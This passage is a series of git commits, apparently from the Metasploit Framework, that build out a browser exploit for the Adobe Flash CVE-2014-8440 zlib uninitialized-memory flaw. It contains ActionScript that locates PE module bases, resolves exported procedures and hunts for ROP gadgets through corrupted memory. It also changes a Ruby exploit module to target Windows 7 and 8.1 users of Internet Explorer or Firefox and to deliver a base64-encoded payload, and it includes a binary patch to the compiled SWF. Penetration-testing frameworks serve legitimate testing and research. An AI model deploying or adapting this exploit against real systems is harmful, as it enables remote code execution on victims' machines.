100755 index 0000000000..61ec768c25 --- /dev/null +++ b/external/source/exploits/CVE-2014-8440/Logger.as @@ -0,0 +1,32 @@ +package +{ + import flash.external.ExternalInterface + + public class Logger { + private static const DEBUG:uint = 1 + + public static function alert(msg:String):void + { + var str:String = ""; + + if (DEBUG == 1) + str += msg; + + if(ExternalInterface.available){ + ExternalInterface.call("alert", str); + } + } + + public static function log(msg:String):void + { + var str:String = ""; + + if (DEBUG == 1) + str += msg; + + if(ExternalInterface.available){ + ExternalInterface.call("console.log", str); + } + } + } +} diff --git a/external/source/exploits/CVE-2014-8440/PE.as b/external/source/exploits/CVE-2014-8440/PE.as new file mode 100755 index 0000000000..8753586477 --- /dev/null +++ b/external/source/exploits/CVE-2014-8440/PE.as @@ -0,0 +1,72 @@ +package +{ + public class PE + { + private var eba:ExploitByteArray + + public function PE(ba:ExploitByteArray) + { + eba = ba + } + + public function base(addr:uint):uint + { + addr &= 0xffff0000 + while (true) { + if (eba.read(addr) == 0x00905a4d) return addr + addr -= 0x10000 + } + return 0 + } + + public function module(name:String, addr:uint):uint + { + var iat:uint = addr + eba.read(addr + eba.read(addr + 0x3c) + 0x80), i:int = -1 + var mod_name:String + + while (true) { + var entry:uint = eba.read(iat + (++i) * 0x14 + 12) + if (!entry) throw new Error("FAIL!"); + mod_name = eba.read_string(addr + entry, name.length) + if (mod_name.toUpperCase() == name.toUpperCase()) break + } + return base(eba.read(addr + eba.read(iat + i * 0x14 + 16))) + } + + public function procedure(name:String, addr:uint):uint + { + var eat:uint = addr + eba.read(addr + eba.read(addr + 0x3c) + 0x78) + var numberOfNames:uint = eba.read(eat + 0x18) + var addressOfFunctions:uint = addr + eba.read(eat + 0x1c) + var addressOfNames:uint = addr + eba.read(eat + 0x20) + var addressOfNameOrdinals:uint = addr + eba.read(eat + 0x24) + var proc_name:String + + for (var i:uint = 0; ; i++) { + var entry:uint = eba.read(addressOfNames + i * 4) + proc_name = eba.read_string(addr + entry, name.length + 2) + if (proc_name.toUpperCase() == name.toUpperCase()) break + } + return addr + eba.read(addressOfFunctions + eba.read(addressOfNameOrdinals + i * 2, "word") * 4) + } + + public function gadget(gadget:String, hint:uint, addr:uint):uint + { + var find:uint = 0 + var contents:uint = 0 + var limit:uint = eba.read(addr + eba.read(addr + 0x3c) + 0x50) + var value:uint = parseInt(gadget, 16) + + for (var i:uint = 0; i < limit - 4; i++) { + contents = eba.read(addr + i) + if (hint == 0xffffffff && value == contents) { + return addr + i + } + if (hint != 0xffffffff && value == (contents & hint)) { + return addr + i + } + } + throw new Error() + } + } +} diff --git a/modules/exploits/windows/browser/adobe_flash_uncompress_zlib_uninitialized.rb b/modules/exploits/windows/browser/adobe_flash_uncompress_zlib_uninitialized.rb index 05106da975..1847fc43ab 100644 --- a/modules/exploits/windows/browser/adobe_flash_uncompress_zlib_uninitialized.rb +++ b/modules/exploits/windows/browser/adobe_flash_uncompress_zlib_uninitialized.rb @@ -8,7 +8,6 @@ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking - include Msf::Exploit::Powershell include Msf::Exploit::Remote::BrowserExploitServer def initialize(info={}) @@ -44,9 +43,12 @@ class Metasploit3 < Msf::Exploit::Remote 'BrowserRequirements' => { :source => /script|headers/i, - :os_name => OperatingSystems::Match::WINDOWS_7, - :ua_name => Msf::HttpClients::IE, - :flash => lambda { |ver| ver =~ /^15\./ && ver <= '15.0.0.189' }, + :os_name => lambda do |os| + os =~ OperatingSystems::Match::WINDOWS_7 || + os =~ OperatingSystems::Match::WINDOWS_81 + end, + :ua_name => lambda { |ua| [Msf::HttpClients::IE, Msf::HttpClients::FF].include?(ua) }, + :flash => lambda { |ver| ver =~ /^15\./ && Gem::Version.new(ver) <= Gem::Version.new('15.0.0.189') }, :arch => ARCH_X86 }, 'Targets' => @@ -79,17 +81,18 @@ class Metasploit3 < Msf::Exploit::Remote def exploit_template(cli, target_info) swf_random = "#{rand_text_alpha(4 + rand(3))}.swf" target_payload = get_payload(cli, target_info) - psh_payload = cmd_psh_payload(target_payload, 'x86', {remove_comspec: true}) - b64_payload = Rex::Text.encode_base64(psh_payload) + b64_payload = Rex::Text.encode_base64(target_payload) + platform_id = 'win' + os_name = target_info[:os_name] html_template = %Q| - + - + From d9db45690fc88e987a3082954e69c5dfc52b2e8d Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Tue, 9 Jun 2015 15:47:59 -0500 Subject: [PATCH 0370/1013] Delete debug messages --- external/source/exploits/CVE-2014-8440/Exploit.as | 1 - external/source/exploits/CVE-2014-8440/Exploiter.as | 4 ---- 2 files changed, 5 deletions(-) diff --git a/external/source/exploits/CVE-2014-8440/Exploit.as b/external/source/exploits/CVE-2014-8440/Exploit.as index f60ff34de6..da8d636a59 100755 --- a/external/source/exploits/CVE-2014-8440/Exploit.as +++ b/external/source/exploits/CVE-2014-8440/Exploit.as @@ -69,7 +69,6 @@ package if (i != corrupted_uv_index) object_vector[i] = null } - Logger.alert('corrupted :) ' + this.uv.length.toString(16)) exploiter = new Exploiter(this, platform, os, payload, uv) } diff --git a/external/source/exploits/CVE-2014-8440/Exploiter.as b/external/source/exploits/CVE-2014-8440/Exploiter.as index cefc394f5f..6e4eba3295 100755 --- a/external/source/exploits/CVE-2014-8440/Exploiter.as +++ b/external/source/exploits/CVE-2014-8440/Exploiter.as @@ -73,13 +73,9 @@ package { Logger.log("[*] Exploiter - disclose_objects()") byte_array_object = ev.at(pos) - 1 - Logger.log("[*] byte_array_object: " + byte_array_object.toString(16)) main = ev.at(pos + 1) - 1 - Logger.log("[*] main: " + main.toString(16)) stack_object = ev.at(pos + 2) - 1 - Logger.log("[*] stack_object: " + stack_object.toString(16)) payload_space_object = ev.at(pos + 3) - 1 - Logger.log("[*] payload_space_object: " + payload_space_object.toString(16)) if (byte_array_object < 0x1000 || main < 0x1000 || stack_object < 0x1000 || payload_space_object < 0x1000) { return false } From e5d6c9a3cb2605afee776137d59ad5e50e99360b Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Tue, 9 Jun 2015 16:01:29 -0500 Subject: [PATCH 0371/1013] Make last code cleanup --- data/exploits/CVE-2014-8440/msf.swf | Bin 21802 -> 21291 bytes .../source/exploits/CVE-2014-8440/Exploit.as | 139 ------------------ .../source/exploits/CVE-2014-8440/Logger.as | 2 +- ...obe_flash_uncompress_zlib_uninitialized.rb | 2 +- 4 files changed, 2 insertions(+), 141 deletions(-) diff --git a/data/exploits/CVE-2014-8440/msf.swf b/data/exploits/CVE-2014-8440/msf.swf index a677624095bb658d2f57c442ae2f83125c20c94a..5062779ed8ed1f536564ca73805bc38d7ef16b60 100755 GIT binary patch delta 21176 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 